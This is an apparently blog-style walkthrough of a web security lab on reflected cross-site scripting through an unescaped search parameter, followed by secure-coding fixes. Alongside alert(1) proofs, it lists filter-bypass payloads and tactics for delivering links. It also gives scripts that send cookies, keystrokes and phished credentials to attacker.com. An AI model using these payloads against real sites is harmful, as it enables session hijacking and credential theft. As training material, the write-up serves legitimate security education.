Goal:
- ๐ Understand reflected XSS vulnerabilities
- ๐ฏ Identify unsanitized user input reflection
- ๐ Locate injection points in search functionality
- ๐ Craft basic XSS payload
- ๐ Execute JavaScript in victim's browser
- ๐ก Learn how lack of encoding enables attacks
- ๐๏ธ Trigger alert() function to prove exploitation
- โ Complete the lab by executing XSS
๐ง Concept Recap
Reflected Cross-Site Scripting (XSS) occurs when an application receives data in an HTTP request and includes that data in the immediate response in an unsafe way. If the application doesn't properly encode or sanitize the reflected input, an attacker can inject malicious JavaScript that executes in the victim's browser.
๐ The Vulnerability
What is Reflected XSS?
Normal Application Flow:
User Input โ Application โ Response
โ
"laptop" โ Search: laptop โ "Results for: laptop"
โ
Safe: Input displayed as plain text โ
Vulnerable Application Flow:
User Input โ Application โ Response (No Encoding!)
โ
"<script>alert(1)</script>" โ Search โ HTML includes script tag
โ
Dangerous: Browser executes the script! โ ๏ธ
The Problem:
โโโ Application reflects user input directly into HTML
โโโ Without encoding/escaping special characters
โโโ Browser interprets input as code, not data
โโโ Attacker's JavaScript executes in victim's browserHTML Context โ Nothing Encoded:
Vulnerable Code (Conceptual):
def search(request):
query = request.GET.get('search')
# โ DANGEROUS: Direct reflection with no encoding
html = f"<h1>Results for: {query}</h1>"
return HttpResponse(html)
What happens:
โโโ User searches for: laptop
โโโ Response: <h1>Results for: laptop</h1>
โโโ Browser displays: "Results for: laptop" โ
But if attacker searches for: <script>alert(1)</script>
โโโ Response: <h1>Results for: <script>alert(1)</script></h1>
โโโ Browser sees: <script> tag in HTML
โโโ Browser executes: alert(1)
โโโ XSS successful! โ ๏ธ
Why it works:
โโโ No encoding of < > characters
โโโ Browser treats input as HTML/JavaScript
โโโ Not as plain text data
โโโ Script executes in page contextAttack Vector Breakdown:
The Payload: <script>alert(1)</script>
Breakdown:
โโโ <script> โ HTML tag that executes JavaScript
โโโ alert(1) โ JavaScript function call
โโโ </script> โ Closing tag
โโโ Goal: Prove JavaScript execution
How it gets reflected:
1. Attacker crafts URL:
https://victim.com/search?q=<script>alert(1)</script>
2. Application processes request:
query = "<script>alert(1)</script>"
3. Application reflects in response:
<html>
<h1>Search results for: <script>alert(1)</script></h1>
</html>
4. Browser renders page:
โโโ Parses HTML
โโโ Encounters <script> tag
โโโ Executes JavaScript: alert(1)
โโโ Alert box appears โ
5. Attack confirmed:
โโโ JavaScript executed successfully
โโโ Attacker controls browser behavior
โโโ Can steal cookies, redirect, modify pageWhy "Nothing Encoded" Matters:
Proper Encoding vs No Encoding:
WITH Encoding (Secure):
โโโ Input: <script>alert(1)</script>
โโโ Encoded: <script>alert(1)</script>
โโโ Browser displays: <script>alert(1)</script>
โโโ Rendered as text, NOT executed โ
WITHOUT Encoding (Vulnerable):
โโโ Input: <script>alert(1)</script>
โโโ Reflected: <script>alert(1)</script>
โโโ Browser parses: Valid HTML/JavaScript
โโโ Script executes! โ ๏ธ
HTML Encoding converts:
โโโ < becomes <
โโโ > becomes >
โโโ " becomes "
โโโ ' becomes '
โโโ & becomes &
โโโ Prevents browser from interpreting as code
No encoding means:
โโโ Special characters remain active
โโโ Browser treats them as markup
โโโ Attacker can inject any HTML/JavaScript
โโโ Full control over page executionReal-World Impact:
What attackers can do with XSS:
1. Session Hijacking
โโโ Steal cookies: document.cookie
โโโ Send to attacker: fetch('evil.com?c='+document.cookie)
โโโ Attacker uses cookies to impersonate victim
โโโ Full account takeover โ
2. Credential Theft
โโโ Inject fake login form
โโโ Capture username/password
โโโ Send to attacker's server
โโโ Steal credentials โ
3. Phishing
โโโ Inject malicious content
โโโ Trick users into clicking links
โโโ Redirect to attacker's site
โโโ Harvest sensitive data โ
4. Keylogging
โโโ Install JavaScript keylogger
โโโ Capture all keystrokes
โโโ Send to attacker
โโโ Steal passwords, messages, data โ
5. Browser Exploitation
โโโ Scan internal network
โโโ Exploit browser vulnerabilities
โโโ Install malware
โโโ Full system compromise โ
Reflected XSS requires:
โโโ Victim to click malicious link
โโโ Attacker sends via: email, social media, ads
โโโ Link contains XSS payload
โโโ Victim's browser executes attacker's code
โโโ Impact occurs in victim's session๐ ๏ธ Step-by-Step Attack
๐ง Step 1 โ Access Lab Environment
- ๐ Click "Access the lab" button
- ๐ Configure Burp Suite proxy (optional โ for analysis)
- ๐ฑ Wait for lab environment to initialize
Lab interface:
Lab Environment
โโโ Web application loads
โโโ E-commerce/shopping site
โโโ Search functionality present
โโโ Products displayed
โโโ Search box in header/navigation4. โ Lab is ready when page fully loads
Expected page:
Product Catalog
โโโ Header with search box
โโโ Product listings
โโโ Categories/navigation
โโโ Footer
โโโ Search form: [Enter search term...]๐ Step 2 โ Locate Search Functionality
- ๐ Look for Search box in the page
- ๐ Common locations:
- Top navigation bar
- Header section
- Sidebar
- Main content area
Search interface:
Search Form
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ [Search products...] ๐โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
[Search button]Identifying the input field:
HTML (View Source):
<form action="/search" method="GET">
<input type="text" name="search" placeholder="Search...">
<button type="submit">Search</button>
</form>
Key observations:
โโโ Method: GET (parameters in URL)
โโโ Action: /search endpoint
โโโ Input name: "search" parameter
โโโ User input will be in URL๐งช Step 3 โ Test for Input Reflection
Try a simple test string:
- โ๏ธ Click in the search box
- ๐ Type a unique test string:
test123 - ๐ Click Search or press Enter
Observe the response:
URL after search:
https://lab-id.web-security-academy.net/search?search=test123
โ
Your input in URL
Page displays:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Search Results
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
No results found for: test123
โ
Your input reflected!
Confirmation:
โโโ Input "test123" appears in the response
โโโ Reflected in: "No results found for: test123"
โโโ Next: Test if it's encoded๐ฌ Step 4 โ Test for HTML Encoding
Test with HTML special characters:
- โ๏ธ Clear the search box
- ๐ Type:
<test> - ๐ Click Search
Analyze the response:
If properly encoded (SAFE):
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
No results found for: <test>
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Browser displays: <test> as text
View Source shows: <test>
Result: Encoded = Not vulnerable โ
If NOT encoded (VULNERABLE):
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
No results found for: <test>
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
View Source shows: <test>
(Raw < and > characters)
Result: NOT encoded = Vulnerable! โ
How to verify:
โโโ Right-click โ "View Page Source"
โโโ Look for your test input
โโโ If you see: <test> (raw)
โโโ Not encoded = Vulnerable!
โโโ If you see: <test>
โโโ Encoded = Not vulnerableIn this lab:
Expected result:
โโโ <test> appears as raw HTML
โโโ No encoding applied
โโโ Vulnerable to XSS โ๐ฏ Step 5 โ Craft XSS Payload
The classic XSS payload:
<script>alert(1)</script>Why this payload works:
Payload Breakdown:
<script>
โโโ HTML tag
โโโ Tells browser: "Execute JavaScript"
โโโ Everything inside is JavaScript code
alert(1)
โโโ JavaScript function
โโโ Creates popup alert box
โโโ Parameter: 1 (any value works)
โโโ Proves JavaScript execution
</script>
โโโ Closing tag
โโโ Required for proper HTML
โโโ Ends JavaScript execution block
Alternative payloads:
โโโ <script>alert(document.domain)</script>
โโโ <script>alert(document.cookie)</script>
โโโ <img src=x onerror=alert(1)>
โโโ <svg onload=alert(1)>
โโโ <body onload=alert(1)>
For this lab, use: <script>alert(1)</script>๐ Step 6 โ Inject the XSS Payload
Execute the attack:
- โ๏ธ Clear the search box
- ๐ Copy and paste the payload:
<script>alert(1)</script>3. ๐ Click Search or press Enter
What happens:
URL becomes:
https://lab-id.web-security-academy.net/search?search=<script>alert(1)</script>
Server processes:
โโโ Receives: search parameter
โโโ Value: <script>alert(1)</script>
โโโ Reflects it in HTML response
โโโ No encoding applied
Browser receives HTML:
<html>
<body>
<h1>Search results for: <script>alert(1)</script></h1>
</body>
</html>
Browser renders:
โโโ Parses HTML document
โโโ Encounters: <script> tag
โโโ Executes: alert(1)
โโโ Alert box appears! ๐ฅ
โโโ XSS successful!โ Step 7 โ Verify Successful Exploitation
Alert box appears:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ ๏ธ This page says: โ
โ โ
โ 1 โ
โ โ
โ [ OK ] โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
This proves:
โโโ JavaScript executed โ
โโโ XSS vulnerability confirmed โ
โโโ alert(1) function called โ
โโโ Attack successful โClick OK on the alert box:
After clicking OK:
โโโ Alert closes
โโโ Page may show: "No results found"
โโโ Or: Page finishes loading
โโโ Lab system detected alert() execution๐ Step 8 โ Lab Completion
Automatic verification:
Lab System:
โโโ Monitors for alert() execution
โโโ Detects: Alert box was triggered
โโโ Validates: XSS successfully executed
โโโ Marks lab as: SOLVED โ
Success Banner:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
Congratulations! โ
โ โ
โ You solved the lab: โ
โ Reflected XSS into HTML context โ
โ with nothing encoded โ
โ โ
โ Lab Status: SOLVED โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโConfirmation:
Lab completion indicators:
โโโ Green checkmark appears
โโโ "Congratulations" message displays
โโโ Lab marked as complete in dashboard
โโโ Progress updated in your account๐ Complete Attack Chain
Step 1: Access lab environment
โโโ Click "Access the lab"
โโโ Wait for page to load
โโโ E-commerce site appears
โ
Step 2: Locate search functionality
โโโ Find search box in header
โโโ Identify search form
โโโ Ready to test input
โ
Step 3: Test input reflection
โโโ Search for: test123
โโโ Observe: Input appears in response
โโโ Confirm: "No results found for: test123"
โโโ Input reflection confirmed โ
โ
Step 4: Test for encoding
โโโ Search for: <test>
โโโ View page source
โโโ Check: Raw <test> or <test>?
โโโ Result: Raw <test> visible
โโโ No encoding = Vulnerable! โ
โ
Step 5: Craft XSS payload
โโโ Choose: <script>alert(1)</script>
โโโ Understand: Will execute JavaScript
โโโ Prepare: Copy payload
โโโ Ready to inject
โ
Step 6: Inject payload
โโโ Paste: <script>alert(1)</script>
โโโ Click: Search button
โโโ URL: /search?search=<script>alert(1)</script>
โโโ Submit request
โ
Step 7: Observe execution
โโโ Browser: Parses HTML response
โโโ Encounters: <script> tag
โโโ Executes: alert(1)
โโโ Alert box: Appears on screen! ๐ฅ
โโโ XSS confirmed! โ
โ
Step 8: Verify completion
โโโ Click: OK on alert
โโโ Lab system: Detects alert()
โโโ Status: SOLVED โ
โโโ Success banner: Appears
โ
Step 9: Lab complete! ๐
โโโ XSS vulnerability exploited
โโโ JavaScript executed successfully
โโโ Lab objectives met
โโโ Reflected XSS mastered๐ Understanding Reflected XSS
What is Reflected XSS?
Reflected XSS Definition:
A web security vulnerability where:
โโโ Application receives data in HTTP request
โโโ Data is included in immediate response
โโโ Data is not properly encoded/sanitized
โโโ Attacker can inject malicious scripts
Characteristics:
โโโ Non-persistent (not stored in database)
โโโ Requires victim to click malicious link
โโโ Executes in victim's browser context
โโโ Can steal cookies, credentials, sessions
โโโ One of the most common web vulnerabilities
Types of XSS:
โโโ Reflected XSS (this lab)
โ โโโ Payload in URL, immediate execution
โโโ Stored XSS
โ โโโ Payload stored in database, affects all users
โโโ DOM-based XSS
โโโ Payload executed via client-side JavaScript
Severity: HIGH
โโโ Can lead to complete account compromise
โโโ Session hijacking
โโโ Credential theft
โโโ Malicious redirectsHow Reflected XSS Works
Attack Mechanism:
1. Attacker crafts malicious URL
โโโ Contains XSS payload in parameter
โโโ Example: /search?q=<script>alert(1)</script>
2. Attacker sends URL to victim
โโโ Via: Email, social media, ads, forums
โโโ Often disguised with URL shorteners
โโโ Victim clicks the link
3. Victim's browser requests page
โโโ Sends: HTTP GET request with payload
โโโ To: Vulnerable application
4. Application reflects payload
โโโ Takes: User input from parameter
โโโ Includes: Directly in HTML response
โโโ Without: Encoding or sanitization
5. Browser executes payload
โโโ Parses: HTML response
โโโ Encounters: <script> tag
โโโ Executes: Attacker's JavaScript
โโโ In: Victim's browser context
6. Attack succeeds
โโโ Attacker's code runs
โโโ With: Victim's session/cookies
โโโ Can: Steal data, perform actions
โโโ As: The victim user
The vulnerability exists because:
โโโ Application trusts user input
โโโ Reflects it without validation
โโโ No encoding of special characters
โโโ Browser interprets as codeHTML Context Explained
What is "HTML Context"?
The payload is injected into:
โโโ Regular HTML content
โโโ Between HTML tags
โโโ In page body
โโโ Not in JavaScript, not in attributes
Example vulnerable code:
<html>
<body>
<h1>Search Results</h1>
<p>You searched for: USER_INPUT_HERE</p>
โ
This is HTML context
Input appears between HTML tags
</body>
</html>
Injection point:
<p>You searched for: <script>alert(1)</script></p>
โ
Payload inserted here
Browser interprets as new tag
Why it's vulnerable:
โโโ No encoding applied
โโโ < and > remain as special characters
โโโ Browser creates new HTML element
โโโ Script executes
If properly encoded:
<p>You searched for: <script>alert(1)</script></p>
โ
Browser displays: <script>alert(1)</script>
As text, not code โWhy Encoding Matters
HTML Encoding Process:
Special characters converted to HTML entities:
โโโ < becomes <
โโโ > becomes >
โโโ & becomes &
โโโ " becomes "
โโโ ' becomes ' or '
โโโ These display as characters, not markup
Without Encoding (Vulnerable):
Input: <script>alert(1)</script>
Output: <script>alert(1)</script>
Result: Browser executes JavaScript โ ๏ธ
With Encoding (Secure):
Input: <script>alert(1)</script>
Output: <script>alert(1)</script>
Result: Browser displays text โ
Why encoding prevents XSS:
โโโ HTML entities are not interpreted as tags
โโโ Browser renders them as plain text
โโโ Cannot create new HTML elements
โโโ JavaScript cannot execute
โโโ Safe to display user input๐ฌ Advanced Topics
Alternative XSS Payloads
Besides <script>alert(1)</script>, other payloads work:
<!-- Image tag with error handler -->
<img src=x onerror=alert(1)>
โโโ src=x: Invalid image source
โโโ onerror: Event handler for errors
โโโ alert(1): JavaScript to execute
<!-- SVG with onload event -->
<svg onload=alert(1)>
โโโ SVG: Scalable Vector Graphics tag
โโโ onload: Executes when SVG loads
โโโ alert(1): JavaScript payload
<!-- Body tag with onload -->
<body onload=alert(1)>
โโโ body: HTML body element
โโโ onload: Fires when page loads
โโโ May need to close existing tags
<!-- iframe with javascript: protocol -->
<iframe src="javascript:alert(1)">
โโโ iframe: Inline frame element
โโโ javascript:: Execute JavaScript
โโโ alert(1): Payload
<!-- Details tag with ontoggle -->
<details open ontoggle=alert(1)>
โโโ details: HTML5 disclosure widget
โโโ open: Auto-opens the details
โโโ ontoggle: Fires when toggled
โโโ alert(1): JavaScript
Why multiple payloads exist:
โโโ Different contexts have different restrictions
โโโ Some tags are filtered
โโโ Some attributes are blocked
โโโ Encoding may vary by context
โโโ Having alternatives helps bypass filtersURL Encoding in XSS
When XSS payload is in URL:
Browser automatically URL-encodes some characters:
โโโ Space becomes %20
โโโ < becomes %3C
โโโ > becomes %3E
โโโ Etc.
Example:
URL typed: /search?q=<script>alert(1)</script>
URL sent: /search?q=%3Cscript%3Ealert(1)%3C/script%3E
Server decodes:
โโโ Receives: <script>alert(1)</script>
โโโ Reflects: In HTML response
โโโ Browser: Executes JavaScript
Manual URL encoding (if needed):
โโโ < = %3C
โโโ > = %3E
โโโ " = %22
โโโ ' = %27
โโโ ( = %28
โโโ ) = %29
When to manually encode:
โโโ Web Application Firewalls (WAF) may block
โโโ Filters may detect plain <script>
โโโ URL encoding can bypass simple filtersDelivering Reflected XSS Attacks
How attackers deliver malicious links:
1. Phishing Emails
โโโ Email with malicious link
โโโ Looks like legitimate notification
โโโ "Click here to reset password"
โโโ Link contains XSS payload
2. Social Media
โโโ Post malicious link on Twitter/Facebook
โโโ "Check out this funny video!"
โโโ Shortened URL hides payload
โโโ Users click without seeing full URL
3. Forum/Comment Injection
โโโ Post on forum with link
โโโ "For more info, click here"
โโโ URL contains XSS
โโโ Other users click and get exploited
4. Malicious Advertisements
โโโ Buy ad space on legitimate sites
โโโ Ad contains malicious link
โโโ Users click, XSS executes
โโโ Called "Malvertising"
5. URL Shorteners
โโโ Use bit.ly, tinyurl, etc.
โโโ Hide actual malicious URL
โโโ Users can't see the payload
โโโ More likely to click
Disguising XSS URLs:
Original: https://victim.com/search?q=<script>alert(1)</script>
Encoded: https://victim.com/search?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E
Shortened: https://bit.ly/abc123Exploiting Reflected XSS for Real Impact
Beyond alert(), real attacks do:
// 1. Cookie Stealing
<script>
// Send victim's cookies to attacker
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>
// 2. Credential Harvesting
<script>
// Inject fake login form
document.body.innerHTML = `
<h1>Session Expired - Please Login</h1>
<form action="https://attacker.com/phish">
Username: <input name="user"><br>
Password: <input name="pass" type="password"><br>
<button>Login</button>
</form>
`;
</script>
// 3. Keylogging
<script>
// Capture all keystrokes
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/log?key=' + e.key);
});
</script>
// 4. Session Riding (CSRF via XSS)
<script>
// Perform action as victim
fetch('/change-email', {
method: 'POST',
body: 'email=attacker@evil.com',
credentials: 'include'
});
</script>
// 5. Defacement
<script>
// Replace page content
document.body.innerHTML = '<h1>Hacked!</h1>';
</script>
// 6. Redirection to Malicious Site
<script>
// Redirect user to phishing site
window.location = 'https://attacker.com/phishing';
</script>๐ก๏ธ How to Fix (Secure Code)
Fix 1: HTML Encoding Output
# โ VULNERABLE - Direct reflection
from flask import Flask, request
@app.route('/search')
def search():
query = request.args.get('search', '')
# Directly embedding user input in HTML
return f"<h1>Results for: {query}</h1>"
# โ
SECURE - HTML encoding
from flask import Flask, request
from markupsafe import escape
@app.route('/search')
def search():
query = request.args.get('search', '')
# HTML encode the user input
safe_query = escape(query)
return f"<h1>Results for: {safe_query}</h1>"
# Even better - Use template engine with auto-escaping
from flask import Flask, request, render_template_string
@app.route('/search')
def search():
query = request.args.get('search', '')
# Jinja2 auto-escapes by default
return render_template_string(
"<h1>Results for: {{ query }}</h1>",
query=query
)Fix 2: Context-Aware Encoding
// โ VULNERABLE - Wrong encoding context
function displayUsername(username) {
// User input in JavaScript context
document.body.innerHTML = `
<script>
var user = "${username}"; // DANGEROUS!
</script>
`;
}
// โ
SECURE - JavaScript encoding
function displayUsername(username) {
// Properly escape for JavaScript context
var escapedUser = username
.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r');
document.body.innerHTML = `
<script>
var user = "${escapedUser}";
</script>
`;
}
// Even better - Avoid inline JavaScript entirely
function displayUsername(username) {
// Use DOM methods, no innerHTML with scripts
const userElement = document.createElement('div');
userElement.textContent = username; // textContent auto-escapes
document.body.appendChild(userElement);
}Fix 3: Use Security Libraries
<?php
// โ VULNERABLE - No encoding
$search = $_GET['search'];
echo "<h1>Results for: " . $search . "</h1>";
// โ
SECURE - Using htmlspecialchars()
$search = $_GET['search'];
$safe_search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');
echo "<h1>Results for: " . $safe_search . "</h1>";
// What htmlspecialchars does:
// < becomes <
// > becomes >
// & becomes &
// " becomes "
// ' becomes '
// โ
EVEN BETTER - Template engine
// Using Twig (auto-escapes by default)
echo $twig->render('search.html', [
'search_query' => $search
]);
// Template: <h1>Results for: {{ search_query }}</h1>
?>Fix 4: Content Security Policy (CSP)
<!-- โ VULNERABLE - No CSP -->
<html>
<head>
<title>Vulnerable Site</title>
</head>
<body>
<!-- XSS can execute here -->
</body>
</html>
<!-- โ
SECURE - Strict CSP -->
<html>
<head>
<title>Protected Site</title>
<!-- CSP header prevents inline scripts -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;">
</head>
<body>
<!-- Inline scripts blocked by CSP -->
<!-- <script>alert(1)</script> won't execute -->
</body>
</html>
<!-- Server-side CSP header (better) -->
# Python/Flask
@app.after_request
def set_csp(response):
response.headers['Content-Security-Policy'] = \
"default-src 'self'; script-src 'self'; object-src 'none';"
return response
// Node.js/Express
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; object-src 'none';"
);
next();
});Fix 5: Input Validation (Defense in Depth)
# โ VULNERABLE - Input validation alone isn't enough
@app.route('/search')
def search():
query = request.args.get('search', '')
# This doesn't prevent XSS!
if len(query) > 100:
return "Query too long"
# Still vulnerable to XSS
return f"<h1>Results for: {query}</h1>"
# โ
BETTER - Input validation + output encoding
import re
from markupsafe import escape
@app.route('/search')
def search():
query = request.args.get('search', '')
# Input validation (defense in depth)
if not re.match(r'^[a-zA-Z0-9\s\-]+$', query):
return "Invalid search query", 400
# STILL encode output (primary defense)
safe_query = escape(query)
return f"<h1>Results for: {safe_query}</h1>"
# Key principle:
# โโโ Input validation is helpful but not sufficient
# โโโ ALWAYS encode output regardless of validation
# โโโ Multiple layers of defense
# โโโ Never trust any input๐ If this helped you โ clap it up (you can clap up to 50 times!)
๐ Follow for more writeups โ dropping soon
๐ Share with your pentest team
๐ฌ Drop a comment